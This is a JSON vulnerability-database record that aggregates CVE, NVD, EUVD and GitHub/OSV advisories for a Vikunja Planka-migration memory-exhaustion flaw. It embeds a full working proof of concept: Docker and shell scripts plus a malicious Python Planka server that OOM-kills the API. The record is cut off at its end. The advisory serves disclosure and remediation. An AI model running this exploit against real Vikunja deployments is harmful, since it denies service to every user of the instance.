{"id":"GHSA-c2g7-39fr-cp8q","revision":null,"records":[{"revision":"688fa3e2f9c348fca9fb8aefd1104038","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-91970","aliases":[],"title":"Vikunja before 2.6.0 Resource Exhaustion via Planka Migration","description":"Vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the Planka migrator that fails to enforce aggregate memory budgets during migration jobs. Authenticated attackers can submit migration requests pointing to attacker-controlled servers advertising numerous size-compliant attachments, exhausting worker memory and causing denial of service for all users.","state":0,"publishedAt":"2026-09-15T15:18:21.449+00:00","modifiedAt":"2026-09-15T16:02:52.721+00:00","affected":[{"ecosystem":"Vendor product","name":"vikunja","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"go-vikunja\",\n                    \"product\": \"vikunja\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:golang/code.vikunja.io/api\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"2.6.0\"\n                        },\n                        {\n                            \"version\": \"2.6.0\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"},{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":7.1,"severity":"HIGH"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-wq92-8x3r-fm38","https://www.vulncheck.com/advisories/vikunja-before-2.6.0-resource-exhaustion-via-planka-migration"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-91970","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-91970","identifiers":["CVE-2026-91970"]},"retained":false,"historicalAffected":[]},{"revision":"6019467917ea4d15825733b0a007d203","observedAt":"2026-11-07T15:24:49.612+00:00","statement":{"source":"euvd","id":"EUVD-2026-78646","aliases":["CVE-2026-91970","GHSA-c2g7-39fr-cp8q","GHSA-wq92-8x3r-fm38"],"title":"Vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the Planka migrator that fails to enforce aggregate memory budgets during migration jobs. Authenticated attackers can submit migration requests pointing to attacke…","description":"Vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the Planka migrator that fails to enforce aggregate memory budgets during migration jobs. Authenticated attackers can submit migration requests pointing to attacker-controlled servers advertising numerous size-compliant attachments, exhausting worker memory and causing denial of service for all users.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":7.1,"severity":null}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-wq92-8x3r-fm38","https://www.vulncheck.com/advisories/vikunja-before-2.6.0-resource-exhaustion-via-planka-migration"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-78646","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 15, 2026, 3:18:21 PM","dateUpdated":"Sep 15, 2026, 4:02:52 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-78646","identifiers":["EUVD-2026-78646","CVE-2026-91970","GHSA-c2g7-39fr-cp8q","GHSA-wq92-8x3r-fm38"]},"retained":false,"historicalAffected":[]},{"revision":"b15e16f53be8407f81d930b2f287211e","observedAt":"2026-10-25T16:19:22.228+00:00","statement":{"source":"nvd","id":"CVE-2026-91970","aliases":[],"title":"Vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the Planka migrator that fails to enforce aggregate memory budgets during migration jobs. Authenticated attackers can submit migration requests pointing to attacke…","description":"Vikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the Planka migrator that fails to enforce aggregate memory budgets during migration jobs. Authenticated attackers can submit migration requests pointing to attacker-controlled servers advertising numerous size-compliant attachments, exhausting worker memory and causing denial of service for all users.","state":0,"publishedAt":"2026-09-15T16:17:53.803+00:00","modifiedAt":"2026-09-16T19:49:18.987+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":7.1,"severity":"HIGH"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-wq92-8x3r-fm38","https://www.vulncheck.com/advisories/vikunja-before-2.6.0-resource-exhaustion-via-planka-migration"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91970","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-770"],"productCriteria":[],"sourceDates":{"published":"2026-09-15T16:17:53.803","lastModified":"2026-09-16T19:49:18.987"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-91970","identifiers":["CVE-2026-91970"]},"retained":false,"historicalAffected":[]},{"revision":"4713ed910cf14989a552547cb5032734","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-c2g7-39fr-cp8q","aliases":[],"title":"Duplicate Advisory: Vikunja: Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-wq92-8x3r-fm38. This link is maintained to preserve external references.\n\n### Original Description\nVikunja versions before 2.6.0 contain a resource exhaustion vulnerability in the Planka migrator that fails to enforce aggregate memory budgets during migration jobs. Authenticated attackers can submit migration requests pointing to attacker-controlled servers advertising numerous size-compliant attachments, exhausting worker memory and causing denial of service for all users.","state":2,"publishedAt":"2026-09-15T18:32:30+00:00","modifiedAt":"2026-10-09T21:00:06.0847719+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.5.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-wq92-8x3r-fm38","https://nvd.nist.gov/vuln/detail/CVE-2026-91970","https://www.vulncheck.com/advisories/vikunja-before-2.6.0-resource-exhaustion-via-planka-migration"],"sourceUrl":"https://github.com/advisories/GHSA-c2g7-39fr-cp8q","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-c2g7-39fr-cp8q","identifiers":["GHSA-c2g7-39fr-cp8q"]},"retained":false,"historicalAffected":[]},{"revision":"8327bd576f6445d1afe62a96305a6ab7","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-wq92-8x3r-fm38","aliases":["CVE-2026-91970","GO-2026-6757"],"title":"Vikunja: Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API","description":"# Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API\n\n## Summary\n\nThe always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.\n\n## Impact and affected scope\n\n- **Type:** Resource Exhaustion Dos\n- **Affected component:** POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator\n- **Preconditions:** A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit.\n- **Verified revision:** `d66ef3d1a39c6f7289593059a1a34afd1d059260` on 28 August 2026\n- **Affected release range:** `> 2.5.0` for the tested post-2.5.0 main branch; no released build was independently reproduced\n\nA low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.\n\n## Technical details\n\nPlanka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.\n\nAttack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination\n\nRelevant code:\n\n- `pkg/routes/api/v2/migration_credentials.go:35`\n- `pkg/routes/api/v2/migration_shared.go:73`\n- `pkg/routes/api/v2/migration_shared.go:95`\n- `pkg/modules/migration/planka/client.go:37`\n- `pkg/modules/migration/planka/client.go:356`\n- `pkg/modules/migration/planka/fetch.go:29`\n- `pkg/modules/migration/planka/fetch.go:32`\n- `pkg/modules/migration/planka/convert.go:275`\n- `pkg/modules/migration/planka/convert.go:280`\n- `pkg/modules/migration/planka/convert.go:293`\n- `pkg/modules/migration/planka/planka.go:86`\n- `pkg/modules/migration/planka/planka.go:100`\n\n## Reproduction\n\nRun this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.\n\nCreate `reproduction/Dockerfile`:\n\n```text\nFROM golang:1.27-bookworm AS builder\n\nWORKDIR /src\nCOPY --from=target . .\nRUN mkdir -p frontend/dist \\\n    && printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \\\n    && go build -o /out/vikunja .\n\nFROM golang:1.27-bookworm\n\nRUN apt-get update \\\n    && apt-get install -y --no-install-recommends ca-certificates curl python3 \\\n    && rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\nCOPY --from=builder /out/vikunja /app/vikunja\nCOPY . /app\nRUN chmod +x /app/verify.sh\n\n\n```\n\nCreate `reproduction/verify.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\ntest -d /target-repo\ntest \"$(git -C /target-repo rev-parse HEAD)\" = \"d66ef3d1a39c6f7289593059a1a34afd1d059260\"\ntest -z \"${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}\"\n\nmkdir -p /work/files /work/logs\nexport VIKUNJA_DATABASE_TYPE=sqlite\nexport VIKUNJA_DATABASE_PATH=/work/vikunja.db\nexport VIKUNJA_FILES_BASEPATH=/work/files\nexport VIKUNJA_LOG_PATH=/work/logs\nexport VIKUNJA_SERVICE_ROOTPATH=/work\nexport VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456\nexport VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/\nexport VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/\n\npython3 /app/malicious_planka.py > /work/planka.log 2>&1 &\nPLANKA_PID=$!\n/app/vikunja > /work/vikunja.log 2>&1 &\nVIKUNJA_PID=$!\ncleanup() {\n  if kill -0 \"${VIKUNJA_PID}\" 2>/dev/null; then\n    kill \"${VIKUNJA_PID}\" 2>/dev/null || true\n    wait \"${VIKUNJA_PID}\" 2>/dev/null || true\n  fi\n  if kill -0 \"${PLANKA_PID}\" 2>/dev/null; then\n    kill \"${PLANKA_PID}\" 2>/dev/null || true\n    wait \"${PLANKA_PID}\" 2>/dev/null || true\n  fi\n}\ntrap cleanup EXIT\n\nfor _ in $(seq 1 90); do\n  if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \\\n    && curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then\n    break\n  fi\n  sleep 1\ndone\ncurl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null\ncurl -fsS http://93.184.216.34:18080/api/users/me > /dev/null\n\nREGISTER_CODE=\"$(curl -sS -o /work/register.json -w '%{http_code}' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"PoC\",\"email\":\"PoC@example.invalid\",\"password\":\"PoC-Test-Password-123!\"}' \\\n  http://127.0.0.1:3456/api/v2/register)\"\ntest \"${REGISTER_CODE}\" = \"201\"\ncurl -fsS \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"PoC\",\"password\":\"PoC-Test-Password-123!\",\"long_token\":false}' \\\n  http://127.0.0.1:3456/api/v2/login > /work/login.json\nTOKEN=\"$(python3 -c 'import json; print(json.load(open(\"/work/login.json\"))[\"token\"])')\"\ntest -n \"${TOKEN}\"\n\nBASELINE_RSS_KIB=\"$(awk '/VmRSS/{print $2}' \"/proc/${VIKUNJA_PID}/status\")\"\nOOM_BEFORE=\"$(awk '$1 == \"oom_kill\" {print $2}' /sys/fs/cgroup/memory.events)\"\nMIGRATE_CODE=\"$(curl -sS -o /work/migrate.json -w '%{http_code}' \\\n  -H \"Authorization: Bearer ${TOKEN}\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"url\":\"http://93.184.216.34:18080\",\"token\":\"attacker-key\"}' \\\n  http://127.0.0.1:3456/api/v2/migration/planka/migrate)\"\ntest \"${MIGRATE_CODE}\" = \"200\"\n\nfor _ in $(seq 1 90); do\n  if ! kill -0 \"${VIKUNJA_PID}\" 2>/dev/null; then\n    break\n  fi\n  sleep 1\ndone\nif kill -0 \"${VIKUNJA_PID}\" 2>/dev/null; then\n  echo \"[PoC] target survived unexpectedly\" >&2\n  tail -n 80 /work/vikunja.log >&2\n  tail -n 80 /work/planka.log >&2\n  exit 1\nfi\n\nset +e\nwait \"${VIKUNJA_PID}\"\nTARGET_EXIT=$?\nset -e\nOOM_AFTER=\"$(awk '$1 == \"oom_kill\" {print $2}' /sys/fs/cgroup/memory.events)\"\nATTACHMENTS_SERVED=\"$(cat /work/attachment-count 2>/dev/null || echo 0)\"\n\ntest \"${OOM_AFTER}\" -gt \"${OOM_BEFORE}\"\ntest \"${TARGET_EXIT}\" -eq 137\ntest \"${ATTACHMENTS_SERVED}\" -ge 4\nkill -0 \"${PLANKA_PID}\"\nif curl -fsS --max-time 2 http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1; then\n  echo \"[PoC] health endpoint remained available after target exit\" >&2\n  exit 1\nfi\n\nkill \"${PLANKA_PID}\" 2>/dev/null || true\nwait \"${PLANKA_PID}\" 2>/dev/null || true\ntrap - EXIT\necho \"[PoC] evidence: migrate_status=${MIGRATE_CODE} public_attacker_ip=93.184.216.34 attachments_served=${ATTACHMENTS_SERVED} baseline_rss_kib=${BASELINE_RSS_KIB} target_exit=${TARGET_EXIT} oom_kill_delta=$((OOM_AFTER - OOM_BEFORE))\"\necho \"[PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy\"\n\n```\n\nCreate `reproduction/run.sh`:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nFINDING_DIR=\"$(cd \"${SCRIPT_DIR}/..\" && pwd)\"\nSESSION_DIR=\"$(cd \"${FINDING_DIR}/..\" && pwd)\"\nif [[ \"$(basename \"${SESSION_DIR}\")\" == \"artifacts\" ]]; then\n  SESSION_DIR=\"$(cd \"${SESSION_DIR}/..\" && pwd)\"\nfi\nCASE_ID=\"$(basename \"${SESSION_DIR}\")\"\nFINDING_NAME=\"$(basename \"${FINDING_DIR}\")\"\nIMAGE_TAG=\"PoC-${CASE_ID}-${FINDING_NAME}\"\nNETWORK_NAME=\"${IMAGE_TAG}-net-$$\"\nTARGET_REPO_URL=\"https://github.com/go-vikunja/vikunja.git\"\nTARGET_REF=\"d66ef3d1a39c6f7289593059a1a34afd1d059260\"\nWORKDIR=\"$(mktemp -d \"${SESSION_DIR}/.PoC-repro.XXXXXX\")\"\nNETWORK_CREATED=false\ncleanup() {\n  if [[ \"${NETWORK_CREATED}\" == \"true\" ]]; then\n    docker network rm \"${NETWORK_NAME}\" > /dev/null 2>&1 || true\n  fi\n  rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\n\necho \"[PoC] cloning target repository\"\ngit clone --filter=blob:none --no-checkout \"${TARGET_REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --detach \"${TARGET_REF}\"\nprintf '\\n.git\\n' >> \"${TARGET_REPO_DIR}/.dockerignore\"\n\necho \"[PoC] building reproduction image: ${IMAGE_TAG}\"\ndocker build \\\n  --build-context \"target=${TARGET_REPO_DIR}\" \\\n  -t \"${IMAGE_TAG}\" \\\n  \"${SCRIPT_DIR}\"\n\necho \"[PoC] creating isolated public-address test network\"\ndocker network create --subnet 93.184.216.0/24 \"${NETWORK_NAME}\" > /dev/null\nNETWORK_CREATED=true\n\necho \"[PoC] running exploit trigger and verification\"\ndocker run --rm \\\n  --network \"${NETWORK_NAME}\" \\\n  --ip 93.184.216.34 \\\n  --memory=256m \\\n  --memory-swap=256m \\\n  -v \"${TARGET_REPO_DIR}:/target-repo:ro\" \\\n  \"${IMAGE_TAG}\" \\\n  /app/verify.sh\n\necho \"[PoC] SUCCESS: reproduction completed and verified\"\n\n```\n\nCreate `reproduction/malicious_planka.py`:\n\n```python\n#!/usr/bin/env python3\nimport json\nimport os\nimport threading\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\n\nATTACHMENT_COUNT = 24\nATTACHMENT_BYTES = 20 * 1024 * 1024\ncounter = 0\ncounter_lock = threading.Lock()\n\n\nclass Handler(BaseHTTPRequestHandler):\n    protocol_version = \"HTTP/1.1\"\n\n    def log_message(self, fmt, *args):\n        print(fmt % args, flush=True)\n\n    def send_json(self, payload):\n        body = json.dumps(payload, separators=(\",\", \":\")).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def do_DELETE(self):\n        self.send_response(204)\n        self.send_header(\"Content-Length\", \"0\")\n        self.end_headers()\n\n    def do_GET(self):\n        global counter\n        if self.path == \"/api/users/me\":\n            self.send_json({\"item\": {\"id\": \"attacker\"}})\n            return\n        if self.path == \"/api/projects\":\n            self.send_json(\n                {\n                    \"items\": [{\"id\": \"p1\", \"name\": \"attacker project\"}],\n                    \"included\": {\n                        \"boards\": [\n                            {\"id\": \"b1\", \"name\": \"board\", \"projectId\": \"p1\", \"position\": 1}\n                        ],\n                        \"baseCustomFieldGroups\": [],\n                        \"customFields\": [],\n                    },\n                }\n            )\n            return\n        if self.path == \"/api/boards/b1\":\n            attachments = [\n                {\n                    \"id\": f\"a{i}\",\n                    \"type\": \"file\",\n                    \"name\": f\"aggregate-{i}.bin\",\n                    \"cardId\": \"c1\",\n                    \"data\": {\"mimeType\": \"application/octet-stream\"},\n                }\n                for i in range(ATTACHMENT_COUNT)\n            ]\n            self.send_json(\n                {\n                    \"item\": {\"id\": \"b1\", \"name\": \"board\", \"projectId\": \"p1\", \"position\": 1},\n                    \"included\": {\n                        \"users\": [],\n                        \"labels\": [],\n                        \"lists\": [\n                            {\"id\": \"l1\", \"name\": \"active\", \"type\": \"active\", \"position\": 1}\n                        ],\n                        \"cards\": [\n                            {\"id\": \"c1\", \"name\": \"memory bomb\", \"listId\": \"l1\", \"commentsTotal\": 0}\n                        ],\n                        \"cardLabels\": [],\n                        \"taskLists\": [],\n                        \"tasks\": [],\n                        \"attachments\": attachments,\n                        \"customFieldGroups\": [],\n                        \"customFields\": [],\n                        \"customFieldValues\": [],\n                    },\n                }\n            )\n            return\n        if self.path.startswith(\"/attachments/\"):\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/octet-stream\")\n            self.send_header(\"Content-Length\", str(ATTACHMENT_BYTES))\n            self.end_headers()\n            chunk = b\"A\" * 65536\n            try:\n                for _ in range(ATTACHMENT_BYTES // len(chunk)):\n                    self.wfile.write(chunk)\n            except (BrokenPipeError, ConnectionResetError):\n                return\n            with counter_lock:\n                counter += 1\n                with open(\"/work/attachment-count\", \"w\", encoding=\"ascii\") as count_file:\n                    count_file.write(str(counter))\n                    count_file.flush()\n                    os.fsync(count_file.fileno())\n            return\n        self.send_response(404)\n        self.send_header(\"Content-Length\", \"0\")\n        self.end_headers()\n\n\nThreadingHTTPServer((\"0.0.0.0\", 18080), Handler).serve_forever()\n\n\n```\n\nFrom the directory containing these files, run:\n\n```sh\nchmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true\n./reproduction/run.sh\n```\n\n**Expected:** The migration request should return 200, the attacker server should complete several individually permitted attachment responses, then Vikunja should be OOM-killed and its health endpoint should stop responding while the attacker service and verifier survive.\n\n**Observed:** The final run returned migrate_status=200 using public_attacker_ip=93.184.216.34 with no non-routable-IP override. The attacker completed five 20 MiB responses; Vikunja exited 137, cgroup oom_kill increased by one, and health became unavailable while the attacker server remained alive. The verifier emitted the expected VERIFIED signal and run.sh exited 0.\n\n**Verification and controls:** The helper requires the pinned mounted checkout, an unset allow-non-routable override, a healthy API and attacker endpoint, and successful normal-user registration/login. It records memory.events, submits the real Planka route, counts fully served attachment bodies, and accepts success only on migrate 200, at least four complete bodies, target exit 137, oom_kill increment, surviving attacker server, and failed health.\n\nObserved evidence:\n\n- migrate_status=200\n- public_attacker_ip=93.184.216.34\n- attachments_served=5\n- baseline_rss_kib=68064\n- target_exit=137\n- oom_kill_delta=1\n- [PoC] VERIFIED: one low-privilege Planka migration exhausted target memory and terminated the Vikunja API under default SSRF policy\n\n## Suggested remediation\n\nEnforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles.\n\n## Severity\n\n**CVSS v4.0: 7.1 (High)** — Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\nThis assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026.\n\n## Disclosure context and attribution\n\nAI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment.\n\nReported by the University of Sydney security research team:\n\n- [Ziyue Wang (@Zyy0530)](https://github.com/Zyy0530)\n- [Liyi Zhou (@lzhou1110)](https://github.com/lzhou1110)\n- [Strick Sheng (@Str1ckl4nd)](https://github.com/Str1ckl4nd)\n- [Maurice Ng (@mauriceng98)](https://github.com/mauriceng98)\n- [Chenchen Yu (@7thParkk)](https://github.com/7thParkk)\n\nWe are happy to answer questions, provide additional verification details, or validate a candidate patch.","state":0,"publishedAt":"2026-10-09T20:53:24+00:00","modifiedAt":"2026-10-19T21:41:00.503879+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.5.0"},{"kind":"fixed","version":"2.6.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-wq92-8x3r-fm38","https://nvd.nist.gov/vuln/detail/CVE-2026-91970","https://github.com/go-vikunja/vikunja/pull/3688","https://github.com/go-vikunja/vikunja","https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0","https://www.vulncheck.com/advisories/vikunja-before-2.6.0-resource-exhaustion-via-planka-migration"],"sourceUrl":"https://github.com/advisories/GHSA-wq92-8x3r-fm38","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-wq92-8x3r-fm38","identifiers":["GHSA-wq92-8x3r-fm38","CVE-2026-91970","GO-2026-6757"]},"retained":false,"historicalAffected":[]},{"revision":"d071f23f826c4fafa7dec3da359eff6d","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6757","aliases":["CVE-2026-91970","GHSA-wq92-8x3r-fm38"],"title":"Vikunja: Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API in code.vikunja.io/api","description":"Vikunja: Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API in code.vikunja.io/api.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: code.vikunja.io/api from v2.5.0 before v2.6.0.","state":0,"publishedAt":"2026-10-19T21:08:26+00:00","modifiedAt":"2026-10-19T21:31:37.8183456+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-wq92-8x3r-fm38","https://nvd.nist.gov/vuln/detail/CVE-2026-91970","https://github.com/go-vikunja/vikunja/pull/3688","https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0","https://www.vulncheck.com/advisories/vikunja-before-2.6.0-resource-exhaustion-via-planka-migration"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6757","license":"OSV · upstream source license applies","key":"osv:GO-2026-6757","identifiers":["GO-2026-6757","CVE-2026-91970","GHSA-wq92-8x3r-fm38"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T14:04:21.6524616+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T14:04:21.6524616+00:00","lastSuccessAt":"2026-11-08T14:04:21.8442875+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.8442884+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-4b0775bb0fc73c3ceeed66f8f17640894d61d654f97ee9386046b283ad9f9876","complete":true,"records":421100,"lastAttemptAt":"2026-11-08T14:04:21.1432513+00:00","lastSuccessAt":"2026-11-08T14:04:21.1228768+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.1432513+00:00","snapshotPublishedAt":"2026-11-08T13:27:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-383c643166b94ac4b6a615647191978e","complete":true,"records":13654,"lastAttemptAt":"2026-11-08T14:04:47.6384375+00:00","lastSuccessAt":"2026-11-08T13:04:50.073+00:00","error":null,"lastVerifiedAt":"2026-11-08T13:04:50.073+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T14:04:21.6524616+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T14:04:21.6524616+00:00","lastSuccessAt":"2026-11-08T14:04:21.8452187+00:00","error":null,"lastVerifiedAt":"2026-11-08T14:04:21.8452194+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is 